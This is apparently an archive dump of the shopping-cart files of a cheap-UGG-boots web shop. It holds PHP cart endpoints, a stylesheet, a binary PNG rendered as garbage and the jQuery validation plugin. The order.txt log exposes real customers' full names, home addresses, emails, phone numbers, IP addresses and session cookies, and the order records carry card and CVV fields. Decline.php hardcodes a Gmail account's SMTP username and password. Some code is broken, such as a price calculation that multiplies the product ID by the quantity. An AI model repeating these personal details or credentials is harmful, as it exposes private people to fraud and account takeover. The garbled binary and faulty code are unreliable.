'{"regions":[{"region_id":"69","exact":"0","region_name":"Alabama"},{"region_id":"70","exact":"0","region_name":"Alaska"},{"region_id":"71","exact":"0","region_name":"American Samoa"},{"region_id":"72","exact":"0","region_name":"Arizona"},{"region_id":"73","exact":"0","region_name":"Arkansas"},{"region_id":"74","exact":"0","region_name":"Armed Forces Africa"},{"region_id":"75","exact":"0","region_name":"Armed Forces Americas"},{"region_id":"76","exact":"0","region_name":"Armed Forces Canada"},{"region_id":"77","exact":"0","region_name":"Armed Forces Europe"},{"region_id":"78","exact":"0","region_name":"Armed Forces Middle East"},{"region_id":"79","exact":"0","region_name":"Armed Forces Pacific"},{"region_id":"80","exact":"0","region_name":"California"},{"region_id":"81","exact":"0","region_name":"Colorado"},{"region_id":"82","exact":"0","region_name":"Connecticut"},{"region_id":"83","exact":"0","region_name":"Delaware"},{"region_id":"84","exact":"0","region_name":"District of Columbia"},{"region_id":"85","exact":"0","region_name":"Federated States Of Micronesia"},{"region_id":"86","exact":"0","region_name":"Florida"},{"region_id":"87","exact":"0","region_name":"Georgia"},{"region_id":"88","exact":"0","region_name":"Guam"},{"region_id":"89","exact":"0","region_name":"Hawaii"},{"region_id":"90","exact":"0","region_name":"Idaho"},{"region_id":"91","exact":"0","region_name":"Illinois"},{"region_id":"92","exact":"0","region_name":"Indiana"},{"region_id":"93","exact":"0","region_name":"Iowa"},{"region_id":"94","exact":"0","region_name":"Kansas"},{"region_id":"95","exact":"0","region_name":"Kentucky"},{"region_id":"96","exact":"0","region_name":"Louisiana"},{"region_id":"97","exact":"0","region_name":"Maine"},{"region_id":"98","exact":"0","region_name":"Marshall Islands"},{"region_id":"99","exact":"0","region_name":"Maryland"},{"region_id":"100","exact":"0","region_name":"Massachusetts"},{"region_id":"101","exact":"0","region_name":"Michigan"},{"region_id":"102","exact":"0","region_name":"Minnesota"},{"region_id":"103","exact":"0","region_name":"Mississippi"},{"region_id":"104","exact":"0","region_name":"Missouri"},{"region_id":"105","exact":"0","region_name":"Montana"},{"region_id":"106","exact":"0","region_name":"Nebraska"},{"region_id":"107","exact":"0","region_name":"Nevada"},{"region_id":"108","exact":"0","region_name":"New Hampshire"},{"region_id":"109","exact":"0","region_name":"New Jersey"},{"region_id":"110","exact":"0","region_name":"New Mexico"},{"region_id":"111","exact":"0","region_name":"New York"},{"region_id":"112","exact":"0","region_name":"North Carolina"},{"region_id":"113","exact":"0","region_name":"North Dakota"},{"region_id":"114","exact":"0","region_name":"Northern Mariana Islands"},{"region_id":"115","exact":"0","region_name":"Ohio"},{"region_id":"116","exact":"0","region_name":"Oklahoma"},{"region_id":"117","exact":"0","region_name":"Oregon"},{"region_id":"118","exact":"0","region_name":"Pennsylvania"},{"region_id":"119","exact":"0","region_name":"Puerto Rico"},{"region_id":"120","exact":"0","region_name":"Rhode Island"},{"region_id":"121","exact":"0","region_name":"South Carolina"},{"region_id":"122","exact":"0","region_name":"South Dakota"},{"region_id":"123","exact":"0","region_name":"Tennessee"},{"region_id":"124","exact":"0","region_name":"Texas"},{"region_id":"125","exact":"0","region_name":"Utah"},{"region_id":"126","exact":"0","region_name":"Vermont"},{"region_id":"127","exact":"0","region_name":"Virgin Islands"},{"region_id":"128","exact":"0","region_name":"Virginia"},{"region_id":"129","exact":"0","region_name":"Washington"},{"region_id":"130","exact":"0","region_name":"West Virginia"},{"region_id":"131","exact":"0","region_name":"Wisconsin"},{"region_id":"132","exact":"0","region_name":"Wyoming"}],"type":1,"target":"selProvinces_"}'; exit(); }else if ($_GET["region_id"]=="16" or $_GET["region_id"]=="0" or ($_GET["region_id"]>68 and $_GET["region_id"]<146)){ echo "0"; exit(); }else if($_GET["act"]=="price"){ //http://www.dearwatches.com/flow.php?act=price&number=2&goods_id=15031&1286198370772772 //{"result":216,"qty":2,"goods_id":"15031"} $newqty=(int)$_GET["number"]; $newsubtotel=$_GET["goods_id"]*$newqty; $newgoods_id=$_GET["goods_id"]; echo '{"result":'.$newsubtotel.',"qty":'.$newqty.',"goods_id":"'.$newgoods_id.'"}'; exit(); }else if($_GET["act"]=="setCookie"){ //http://www.dearwatches.com/flow.php?act=price&number=2&goods_id=15031&1286198370772772 //{"result":216,"qty":2,"goods_id":"15031"} session_start(); if ($_GET["cookie_name"]=="address2" or $_GET["cookie_name"]=="streetname" or $_GET["cookie_name"]=="lastname" or $_GET["cookie_name"]=="firstname" or $_GET["cookie_name"]=="state" or $_GET["cookie_name"]=="city" or $_GET["cookie_name"]=="zipcode" or $_GET["cookie_name"]=="email" or $_GET["cookie_name"]=="telephone" or $_GET["cookie_name"]=="carddname"){$_SESSION[$_GET["cookie_name"]]=$_GET["cookie_value"];} exit(); }else{ echo "1"; exit(); } //flow: //updateprice {"result":216,"qty":2,"goods_id":"15031"} //http://www.dearwatches.com/flow.php?step=drop_goods&id=35382 ?>cheapuggsales.uk.com/cart/update.php0000777000000000000000000000231211633550304016513 0ustar rootrootdata); $cart->save(); Header("Location: /cart/"); exit(); } //http://worldwide-watches.com/ http://127.0.0.1:8080/cart/1/index.php?action=add&pid=123&name=name&price=981&count=1&purl=purl&pimg=imga // $id=(isset($_GET['pid'])) ? trim($_GET['pid']) : ''; $count=(isset($_GET['count'])) ? (int)$_GET['count'] : ''; if (strlen($id)<1 or strlen($count)<1){ Header("Location: /cart/"); exit(); } // ƷѾ ޸ if ($cart->data[$id]) { $cart->data[$id]['count'] = $count; if ($count==0){unset($cart->data[$id]);} $cart->data[$id]['money'] = $cart->data[$id]['price'] * $count; // Ʒ } else { Header("Location: /cart/"); exit(); } // 湺ﳵ $cart->save(); Header("Location: /cart/"); /* չﳵ ============================================================ // require_once './cart.class.php'; // ʵ $cart = new cart(); // unset($cart->data); // 湺ﳵ $cart->save(); ============================================================ */ ?>cheapuggsales.uk.com/cart/style.css0000777000000000000000000000310711633550304016375 0ustar rootroot * { margin:0px; padding:0px; font-family:Arial, Helvetica, sans-serif; font-size:11px;} img { border:0px;} .clear { clear:both;} li { list-style:none;} body { background-color:#B1B1B1;} a { text-decoration:none; color:#383838;} input { font-family:Arial, Helvetica, sans-serif;} #zheader { width:961px; margin:auto; background-color:#FFFFFF;} #zheader_top { background:url(zhead_8.gif) no-repeat; height:87px;} #ztop_1 { padding-top:3px; float:left; display:inline;} #ty1 { padding-left:30px;} #zheader a { text-decoration:none;} #ztop_2 { padding-top:3px; float:right; display:inline; padding-right:10px; text-align:right;} .zq1 { color:#CF2B19;} #znav { background:url(zhead_3.gif) repeat-x;} #znav li { float:left; display:inline; font-weight:bold; padding-top:10px;} #znav li a { color:#FFFFFF; padding-top:10px; padding-left:10px; padding-right:10px;} #zmain { width:951px; margin:auto; background-color:#FFFFFF; padding:5px;} #zmain_midd { width:598px; margin-left:6px; float:left; display:inline;} .box1 { background:url(zmain_4.gif) repeat-x; margin-bottom:5px;} .box1_title { background:url(zmain_5.gif) no-repeat right; height:22px;} .box1_title h2 { background:url(zmain_3.gif) no-repeat left; height:17px; float:left; display:inline; padding-left:15px; padding-top:5px; color:#00717F;} .zmore { float:right; display:inline; padding-right:15px; padding-top:5px;} .box1_content { width:576px; border:1px solid #BABABA; padding:2px 10px 10px 10px;} #position { font-size:12px; color:#383838; padding:5px 10px; margin-bottom:8px;} #position a { color:#383838;} cheapuggsales.uk.com/cart/order.txt0000777000000000000000000001440011647525560016410 0ustar rootroot201110191511223721 FrCart_217.199.29.92 85.77
Product id: 446-US 8 UK 6.5 EUR 39
Product url: http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html
Product img: /images/18/1314745625l.jpg
Product name: UGG Roxy Tall Boots Chestnut 5818_US 8 UK 6.5 EUR 39
Product price: € 98.07
Product count: 1
Product subtotel: € 98.07
Cart totel: 98.07 Payment: shipping:0 firstname:Silvia Gaia lastname:Donadel sex:1 streetname:Via La prà 4 address2: country:Italy province: state:Verona - Veneto city:Povegliano Veronese zipcode:37064 email:pesci87@hotmail.it telephone:3408431840 postscript: name: cardid: month: year: cvv: carttype:V carttype:V
217.199.29.92
2 46.19.136.100
3 217.199.29.92, 85.115.58.180
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)

image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
de-DE
gzip, deflate
__utma=244049111.216948290.1318922256.1318925000.1319008168.3; __utmz=244049111.1319008168.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cheapuggsales.uk.com; __utmb=244049111.3.10.1319008168; __utmc=244049111; cur=GBP; FrCart_217.199.29.92_session_id=hlq77bgl3ti82fq88tc8seang6; PHPSESSID=hlq77bgl3ti82fq88tc8seang6201110191517473815 FrCart_60.6.237.52 85.77
Product id: 446-US 8 UK 6.5 EUR 39
Product url: http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html
Product img: /images/18/1314745625l.jpg
Product name: UGG Roxy Tall Boots Chestnut 5818_US 8 UK 6.5 EUR 39
Product price: £ 85.77
Product count: 1
Product subtotel: £ 85.77
Cart totel: 85.77 Payment: shipping:0 firstname:Jaony lastname:Miss sex:0 streetname:sghdfg address2:uidsuf country:中国 province: state:Hebei city:Xingtai zipcode:054000 email:yulu77@googlemail.com telephone:863192825666 postscript: name: cardid: month: year: cvv: carttype:V carttype:V

2 46.19.136.100
3 60.6.237.52
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
zh-CN,zh;q=0.8
gzip,deflate,sdch
__utma=244049111.1835350891.1319008647.1319008647.1319008647.1; __utmb=244049111.1.10.1319008647; __utmc=244049111; __utmz=244049111.1319008647.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=611avb80va4reg4lffgob9bra1; FrCart_60.6.237.52_session_id=611avb80va4reg4lffgob9bra1201110191532166598 FrCart_217.199.29.92 85.77
Product id: 446-US 8 UK 6.5 EUR 39
Product url: http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html
Product img: /images/18/1314745625l.jpg
Product name: UGG Roxy Tall Boots Chestnut 5818_US 8 UK 6.5 EUR 39
Product price: € 98.07
Product count: 1
Product subtotel: € 98.07
Cart totel: 98.07 Payment: shipping:0 firstname:Silvia Gaia lastname:Donadel sex:1 streetname:Via La prà 4 address2: country:Italy province: state:Verona - Veneto city:Povegliano Veronese zipcode:37064 email:pesci87@hotmail.it telephone:3408431840 postscript: name: cardid: month: year: cvv: carttype:V carttype:V
217.199.29.92
2 46.19.136.100
3 217.199.29.92, 85.115.58.180
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)

image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
de-DE
gzip, deflate
__utma=244049111.216948290.1318922256.1319008168.1319009325.4; __utmz=244049111.1319009325.4.4.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cheapuggsale.uk.com; __utmb=244049111.5.10.1319009325; __utmc=244049111; FrCart_217.199.29.92_session_id=9go1th8a4srd76bjeg3nsfhvg1; cur=GBP; PHPSESSID=9go1th8a4srd76bjeg3nsfhvg1201110191850246239 FrCart_79.30.139.250 257.31
Product id: 446-US 8 UK 6.5 EUR 39
Product url: http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html
Product img: /images/18/1314745625l.jpg
Product name: UGG Roxy Tall Boots Chestnut 5818_US 8 UK 6.5 EUR 39
Product price: € 98.07
Product count: 3
Product subtotel: € 294.21
Cart totel: 294.21 Payment: shipping:0 firstname:Silvia gaia lastname:Donadel sex:1 streetname:Via la Prà 4 address2: country:Italy province: state:Verona - veneto city:Povegliano veronese zipcode:37064 email:Pesci87@hotmail.it telephone:3408431840 postscript: name: cardid: month: year: cvv: carttype:V carttype:V

2 46.19.136.100
3 79.30.139.250
Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_1 like Mac OS X; it-it) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5

application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
it-it
gzip, deflate
carttype=V; billAddress=Via%20La%20Pr%C3%A0.%204; billcity=Povegliano%20Veronese; billcountry=Italy; billCustomerName=Silvia%20Gaia%20Donadel; billemail=Pesci87%40hotmail.it; billpostcode=37064; billregion=VR; billsex=1; billshipsame=1; billtelephone=3408431840; shipAddress=Via%20La%20Pr%C3%A0.%204; shipcity=Povegliano%20Veronese; shipcountry=Italy; shipCustomerName=Silvia%20Gaia%20Donadel; shipemail=Pesci87%40hotmail.it; shippostcode=37064; shipregion=VR; shipsex=1; shiptelephone=3408431840; cookie_test=1; FrCart_79.30.139.250_session_id=5cu8fe4smk6sk1kf28pn4tl572; FrCart_79.45.250.39_session_id=5cu8fe4smk6sk1kf28pn4tl572; cur=GBP; PHPSESSID=5cu8fe4smk6sk1kf28pn4tl572; __utma=244049111.9348337.1318882118.1319001622.1319019431.4; __utmb=244049111.3.10.1319019431; __utmc=244049111; __utmz=244049111.1319019431.4.4.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=uggsalesuk%20comcheapuggsales.uk.com/cart/siteseal_gd_1_h_s_dv.png0000777000000000000000000002710111633550304021256 0ustar rootrootPNG  IHDRs<UM_tEXtSoftwareAdobe ImageReadyqe<-IDATx}|]mѪ^, 7m+6ƴB /& aC(!B))n˲dj]mVsW#N{>1[s0_^Nll6|!fY:;;uZZIllx(K3LIVu@ddd&~<&W܄6/III(kx<1z]]]'}ʠAdɒINNݎsEEEItt~]wX,}BPa|sѲh:s e2妓^^ӧ ×P \]i6x~l%V *111jBPԢq&)UUU;kjj~qz!4ï'nWp8J477KȊǘ;Z&--(d:)<$5%KQ;::zW~~>I-K络90 ʿ3~qA6k)%ǤͥR:ˏbׅ `YY2lK$mBI]Aw{wՕ߰aC^4޾;zq1}Фf\׷oQZK'R *ˤE"!!7l}&0KFwjWK' [XX(HgΜ)~" )4 z߆2]SNf 2V WtuY -**Z-ш3 %ǎIAbQRYU%\L>YFb`R$==]Ǝ+-zsKL0Q #{*Rӏ7N.R9}pqI bBX$Kx-R0ccq~{ l▂Ԙ&:0;n[<°DXgWc| +Y29gRVVA/6l߾KrU(p=Z-.Ȇ^$FB_AlԻSs.(B(Ix!t &l.,y(*S&S}E߾}3ʺMJ1 {Kl٢x饗IzFddd(l_jkkaivl@kUE~Dǩlan3[+r `Qw?ƎjAi;0>%es{믻N?j\Kτx(Hz/^ Gkh9?s'7ߝ(MXg2+0^WkW2 >m烯u>:<r_ O.W\q~e̘1R^^pZ */ӧMiӦ>.&D- glsMݻwPo]x4y_ /p +ۚ^-Q\.2:++*ҴaÆ+)nh\9`& p"C<,;W&1PY"~ΥqgϚ>>RzrEu.YlJ-V)9Z"{u}&3ri^/nMVZ%~Z E+ERRq5*>R}S,p ̔_SI,18xnsnnIIt7_Y|[ XHqqf|=3334>Q taalشI>3XB(•l"p~gK.Tjs \.g$SO=YO?*]{#&+/ӧO2:EKDXeM[*$\<"!/BKM.@ lZbfd>bW ͅ@hb`& G,0I t̸1[%-v.fO5;|~zL4QC3dǮ*@ZWiqiuc>EHգBq.8Dkx_%rp)HK\|'!e˖3C#L>`kd(Dx|bB 7ܨo5 I3iSJ`lr}raMsp !IVi'41E%KZv$I-M( @bbsl)*,T5 PT>@ԀO"t+f 6BMPMv.x^>Z0ChmCFe1^o㳇G\؆:~*ٹRVVن|$;>3͛7ˢEP̝'>@[d^ؾC|}ΐ%K_j"%-+Wͽ@r  lG_HZ][\R*gJm[b:uPm $0ɟ׬U JrK2n8BދUhw8[ L4ZU{#T?܉Iҳ !]fIL+ MXEntIjfxqT `, Qz6Gx;IVE@co?99knISe nug$5L!//A r}dݪ:;)]f_Z %HV^l]$p dzXel==Kl1g` r-dd*;ߌ5zdt(A.5DrS%%.W;Ůg8|#FȰ!iB;flE[55&t9=)c g?#16kc`]SgeȸQig]dFEd?X^!@/HFNK3˜+MRϵKX)(E#y0M2Ze64 qtX@ôFCM;q3R; / K7O 2 7!vHvrS%1ѷ d.]q nMZ0qUv0r1WK4IOTenS4'!!Fnis AedQL賨N1264yϗ'Hm}dl r1Z8DgL9S8DBsS U %9bCȘc0&~~}emh cZ,P>6!beap4H$ٺu 7V2sT^= WZ 49)) UAP,SL};/`3"m@Z-@36!J^jnUȔyR sArRHUZ~# a 3YlZ Zc49lk4tk b!ڐimm"W2Frm߾][7u}ϝek9sȫB~D?(:,=]wݥE߽+dyGzI/>Z% 19k,yc?oբ1'ۛ͆U B푄`wrw<~Hk\Z0`Z(}V_`Y%ۥ&-!V^\W~^R+ɱvɃ@ VL)%Q07MaXR;~ûADY /XxHZ7r_ sZ B }0afl`&?Q JNXY#f@l;(F_Gx^h:vkoQ7CxnZٴD:2?-Y5׷m^;lĉr%\J€OL<4CT+4,nr_jmT~=#_|;LD0jTV aMZ a5T .@[Ry#GhypM6+!DFyïDMg`)& ,si x n8R{Y)hj@LEoqK;XmH!I~^N_ Pc'\.n5#~.oAI1$jyM2gR2ȅ}ˏ֨e#(˃>Be@i+Tcu'`".#G uvϿy-3匲m`_fVfd5 aO6LeؠcQ|qSv,OP\<݂d*^jpjG(ۼ4g> iaDBY6Kp r&͑g` c ~GJ _ˌ3T1<|P> .* ::X&hRLrBlc?ђ*L#Vm9M<T&9P }.Wfةd'!nwvha{*)u17d\}!3(EYjF;+R%#/x }D'U</a<{Ò,MM:{%3dLOK5|X~OS=fӕW^3ʘ߅D.y Z1}Ґ0 JٹsgRo% NUf1[\|,!.ԕԁb{dR I 9=#],bzg$XsD w|&J^z.Vl $E >(f{ǖo>9t`OoE]D@(☄DYt@Ҳ =ЏRBe޼yZ'%@s|ZqWԁ6y,PsaV4$ ^XЮ+> &1JJN:9[h+,Lh{=*RT5VHӊIvyYd*'+T KT~o3?i\wHD_sxB2m^EE+sa䈌§BCtO'!&9~+bsΑD}Z`@Ox6EB z<|]b-[+&GX@EYxL6\'K^zE}!GtO5]x>ђډǸMe嚊dIfV 0PE :ZΤkXp׬<`6&QrRFʘc-PơlBRr~(IӛҋM:E.Bt Yr15l|\:k|+Iv?UE@qjb6sɋ/{^Z|Ƃm4IG,+e .e9 ـW{jO~f`r d`3d04`Fl#Zs\mc5wC2L3X.ôqƐw64aSgM.%`n92sL),(+V=v<̳З?~! ͺ:GD}S pZv48_<־{n?n,@: YY)|!XgՐJˤzQQ_m_h6B)q/©-9iy|fOE85/ 8rKuyjrJIw+cBv_O㼕8΀ tP[{1y_<(`B  ,]ǯ=#kT5Imo4(PЄU~/Ff'\l/aEg1KL"y|Dĵ}~:CBFȐPG$Xs@w5=lr`}_¬5Bi{&90i3gPO\qwćV>w\y/l5حOW$qd$+O$R4AL@𙑑V-ۑ4G-k8dO-bƟ:EzGKƙ"`啕A-~iȦ`I8y]Z1tg^w448L u"<0|CSqd%>XH~B 3<%g0rgahm_N3OaqgԼCRd49 zºgn}(Fs"[':TΛ7OF0q'[/0+bݯۦ4 9zb6K0hkeep<ٌݑ wa9vO>?/iQPF_׳cTӨ·|۱4|~vz9ed|TYY5r/)J?t/ 6D &p=Lp ,MMSw2osrf(/=ærL_'؁:Hp p!E)O^ Ĥ={0`|F \ܜx)Nh }xc%%[XZh?2{ 4|TO7{s#B!Sq74'/g{`a8YmVdlr >cov]z~{ U:?7-dBwaH,HV@bi0==Dª}9A_-5K;FQ3#Օ!L_ŵ*0ۛ xBBUUU]Q1QL7 ,M֛Z#-nv's?@aBh<#IGyx$yB)B{a /؎sAm10OUUD2<}AhJЈ:{Ǧ^?5IENDB`cheapuggsales.uk.com/cart/cmxforms.js0000777000000000000000000000146711633550304016726 0ustar rootroot// apply inline-box only for mozilla if( jQuery.browser.mozilla ) { // do when DOM is ready $( function() { // search form, hide it, search labels to modify, filter classes nocmx and error $( 'form.cmxform' ).hide().find( 'p>label:not(.nocmx):not(.error)' ).each( function() { var $this = $(this); var labelContent = $this.html(); var labelWidth = document.defaultView.getComputedStyle( this, '' ).getPropertyValue( 'width' ); // create block element with width of label var labelSpan = $("") .css("display", "block") .width(labelWidth) .html(labelContent); // change display to mozilla specific inline-box $this.css("display", "-moz-inline-box") // remove children .empty() // add span element .append(labelSpan); // show form again }).end().show(); }); };cheapuggsales.uk.com/cart/Decline.php0000777000000000000000000000522311633550304016600 0ustar rootroot12 and strlen($ordercon)>100){ echo "Your Order(ID:".$orderid.") is Decline by GSPay, Please Contact us."; $time=date("Y-m-d H:i:s"); $flag='1'; $domainmail=str_replace("www.","",$_SERVER['SERVER_NAME']); $to='support@'.$domainmail; $subject=$_SERVER['SERVER_NAME']." payment Decline $orderid $time"; $txt=$orderid." payment Decline from GSPAY \r\n".$_SERVER['SERVER_NAME']."\r\n".$time."\r\n
".$ordercon; $txt=str_replace("\n","
",$txt); $gmailuser='post@960watch.com'; $gmailpass='2656C9post'; $fromname=$_SERVER['SERVER_NAME']." payment Decline"; $emailname=$toname; if($flag=='0'){ $headers = "From: ".$to. "\r\r\n" ; mail($to,$subject,$txt,$headers); //echo 'send..'; }else if($flag=='1'){ //error_reporting(E_ALL); //error_reporting(E_STRICT); date_default_timezone_set('America/Toronto'); require_once('../contact_us/class.phpmailer.php');//phpmailerλ include("../contact_us/class.smtp.php"); // optional, gets called from within class.phpmailer.php if not already loaded $mail = new PHPMailer(); //$body = file_get_contents('contents.html');//ʼ $body=$txt; $body = eregi_replace("[\]",'',$body); $mail->IsSMTP(); // telling the class to use SMTP $mail->Host = "mail.gmail.com"; // SMTP server $mail->SMTPDebug = 0; // enables SMTP debug information (for testing) // 1 = errors and messages // 2 = messages only $mail->SMTPAuth = true; // enable SMTP authentication $mail->SMTPSecure = "ssl"; // sets the prefix to the servier $mail->Host = "smtp.gmail.com"; // sets GMAIL as the SMTP server $mail->Port = 465; // set the SMTP port for the GMAIL server $mail->Username = $gmailuser; // GMAIL username $mail->Password = $gmailpass; // GMAIL password $mail->SetFrom($gmailuser, $fromname); $mail->AddReplyTo($gmailuser,$toname); $mail->Subject = $subject; $mail->AltBody = " "; // optional, comment out and test $mail->MsgHTML($body); $address = $to; $mail->AddAddress($address, $emailname); //$mail->AddAttachment("images/phpmailer.gif"); // attachment //$mail->AddAttachment("images/phpmailer_mini.gif"); // attachment if(!$mail->Send()) { echo ","; } else { echo "."; } } }else{ header("HTTP/1.1 404 Not Found"); exit(); } ?>cheapuggsales.uk.com/cart/jquery.validate.js0000777000000000000000000010712411633550304020174 0ustar rootroot/* * jQuery validation plug-in 1.5.5 * * http://bassistance.de/jquery-plugins/jquery-plugin-validation/ * http://docs.jquery.com/Plugins/Validation * * Copyright (c) 2006 - 2008 Jörn Zaefferer * * $Id: jquery.validate.js 6403 2009-06-17 14:27:16Z joern.zaefferer $ * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ (function($) { $.extend($.fn, { // http://docs.jquery.com/Plugins/Validation/validate validate: function( options ) { // if nothing is selected, return nothing; can't chain anyway if (!this.length) { options && options.debug && window.console && console.warn( "nothing selected, can't validate, returning nothing" ); return; } // check if a validator for this form was already created var validator = $.data(this[0], 'validator'); if ( validator ) { return validator; } validator = new $.validator( options, this[0] ); $.data(this[0], 'validator', validator); if ( validator.settings.onsubmit ) { // allow suppresing validation by adding a cancel class to the submit button this.find("input, button").filter(".cancel").click(function() { validator.cancelSubmit = true; }); // when a submitHandler is used, capture the submitting button if (validator.settings.submitHandler) { this.find("input, button").filter(":submit").click(function() { validator.submitButton = this; }); } // validate the form on submit this.submit( function( event ) { if ( validator.settings.debug ) // prevent form submit to be able to see console output event.preventDefault(); function handle() { if ( validator.settings.submitHandler ) { if (validator.submitButton) { // insert a hidden input as a replacement for the missing submit button var hidden = $("").attr("name", validator.submitButton.name).val(validator.submitButton.value).appendTo(validator.currentForm); } validator.settings.submitHandler.call( validator, validator.currentForm ); if (validator.submitButton) { // and clean up afterwards; thanks to no-block-scope, hidden can be referenced hidden.remove(); } return false; } return true; } // prevent submit for invalid forms or custom submit handlers if ( validator.cancelSubmit ) { validator.cancelSubmit = false; return handle(); } if ( validator.form() ) { if ( validator.pendingRequest ) { validator.formSubmitted = true; return false; } return handle(); } else { validator.focusInvalid(); return false; } }); } return validator; }, // http://docs.jquery.com/Plugins/Validation/valid valid: function() { if ( $(this[0]).is('form')) { return this.validate().form(); } else { var valid = true; var validator = $(this[0].form).validate(); this.each(function() { valid &= validator.element(this); }); return valid; } }, // attributes: space seperated list of attributes to retrieve and remove removeAttrs: function(attributes) { var result = {}, $element = this; $.each(attributes.split(/\s/), function(index, value) { result[value] = $element.attr(value); $element.removeAttr(value); }); return result; }, // http://docs.jquery.com/Plugins/Validation/rules rules: function(command, argument) { var element = this[0]; if (command) { var settings = $.data(element.form, 'validator').settings; var staticRules = settings.rules; var existingRules = $.validator.staticRules(element); switch(command) { case "add": $.extend(existingRules, $.validator.normalizeRule(argument)); staticRules[element.name] = existingRules; if (argument.messages) settings.messages[element.name] = $.extend( settings.messages[element.name], argument.messages ); break; case "remove": if (!argument) { delete staticRules[element.name]; return existingRules; } var filtered = {}; $.each(argument.split(/\s/), function(index, method) { filtered[method] = existingRules[method]; delete existingRules[method]; }); return filtered; } } var data = $.validator.normalizeRules( $.extend( {}, $.validator.metadataRules(element), $.validator.classRules(element), $.validator.attributeRules(element), $.validator.staticRules(element) ), element); // make sure required is at front if (data.required) { var param = data.required; delete data.required; data = $.extend({required: param}, data); } return data; } }); // Custom selectors $.extend($.expr[":"], { // http://docs.jquery.com/Plugins/Validation/blank blank: function(a) {return !$.trim(a.value);}, // http://docs.jquery.com/Plugins/Validation/filled filled: function(a) {return !!$.trim(a.value);}, // http://docs.jquery.com/Plugins/Validation/unchecked unchecked: function(a) {return !a.checked;} }); // constructor for validator $.validator = function( options, form ) { this.settings = $.extend( {}, $.validator.defaults, options ); this.currentForm = form; this.init(); }; $.validator.format = function(source, params) { if ( arguments.length == 1 ) return function() { var args = $.makeArray(arguments); args.unshift(source); return $.validator.format.apply( this, args ); }; if ( arguments.length > 2 && params.constructor != Array ) { params = $.makeArray(arguments).slice(1); } if ( params.constructor != Array ) { params = [ params ]; } $.each(params, function(i, n) { source = source.replace(new RegExp("\\{" + i + "\\}", "g"), n); }); return source; }; $.extend($.validator, { defaults: { messages: {}, groups: {}, rules: {}, errorClass: "error", validClass: "valid", errorElement: "label", focusInvalid: true, errorContainer: $( [] ), errorLabelContainer: $( [] ), onsubmit: true, ignore: [], ignoreTitle: false, onfocusin: function(element) { this.lastActive = element; // hide error label and remove error class on focus if enabled if ( this.settings.focusCleanup && !this.blockFocusCleanup ) { this.settings.unhighlight && this.settings.unhighlight.call( this, element, this.settings.errorClass, this.settings.validClass ); this.errorsFor(element).hide(); } }, onfocusout: function(element) { if ( !this.checkable(element) && (element.name in this.submitted || !this.optional(element)) ) { this.element(element); } }, onkeyup: function(element) { if ( element.name in this.submitted || element == this.lastElement ) { this.element(element); } }, onclick: function(element) { if ( element.name in this.submitted ) this.element(element); }, highlight: function( element, errorClass, validClass ) { $(element).addClass(errorClass).removeClass(validClass); }, unhighlight: function( element, errorClass, validClass ) { $(element).removeClass(errorClass).addClass(validClass); } }, // http://docs.jquery.com/Plugins/Validation/Validator/setDefaults setDefaults: function(settings) { $.extend( $.validator.defaults, settings ); }, messages: { required: "This field is required.", remote: "Please fix this field.", email: "Please enter a valid email address.", url: "Please enter a valid URL.", date: "Please enter a valid date.", dateISO: "Please enter a valid date (ISO).", dateDE: "Bitte geben Sie ein gültiges Datum ein.", number: "Please enter a valid number.", numberDE: "Bitte geben Sie eine Nummer ein.", digits: "Please enter only digits", creditcard: "Please enter a valid credit card number.", equalTo: "Please enter the same value again.", accept: "Please enter a value with a valid extension.", maxlength: $.validator.format("Please enter no more than {0} characters."), minlength: $.validator.format("Please enter at least {0} characters."), rangelength: $.validator.format("Please enter a value between {0} and {1} characters long."), range: $.validator.format("Please enter a value between {0} and {1}."), max: $.validator.format("Please enter a value less than or equal to {0}."), min: $.validator.format("Please enter a value greater than or equal to {0}.") }, autoCreateRanges: false, prototype: { init: function() { this.labelContainer = $(this.settings.errorLabelContainer); this.errorContext = this.labelContainer.length && this.labelContainer || $(this.currentForm); this.containers = $(this.settings.errorContainer).add( this.settings.errorLabelContainer ); this.submitted = {}; this.valueCache = {}; this.pendingRequest = 0; this.pending = {}; this.invalid = {}; this.reset(); var groups = (this.groups = {}); $.each(this.settings.groups, function(key, value) { $.each(value.split(/\s/), function(index, name) { groups[name] = key; }); }); var rules = this.settings.rules; $.each(rules, function(key, value) { rules[key] = $.validator.normalizeRule(value); }); function delegate(event) { var validator = $.data(this[0].form, "validator"); validator.settings["on" + event.type] && validator.settings["on" + event.type].call(validator, this[0] ); } $(this.currentForm) .delegate("focusin focusout keyup", ":text, :password, :file, select, textarea", delegate) .delegate("click", ":radio, :checkbox", delegate); if (this.settings.invalidHandler) $(this.currentForm).bind("invalid-form.validate", this.settings.invalidHandler); }, // 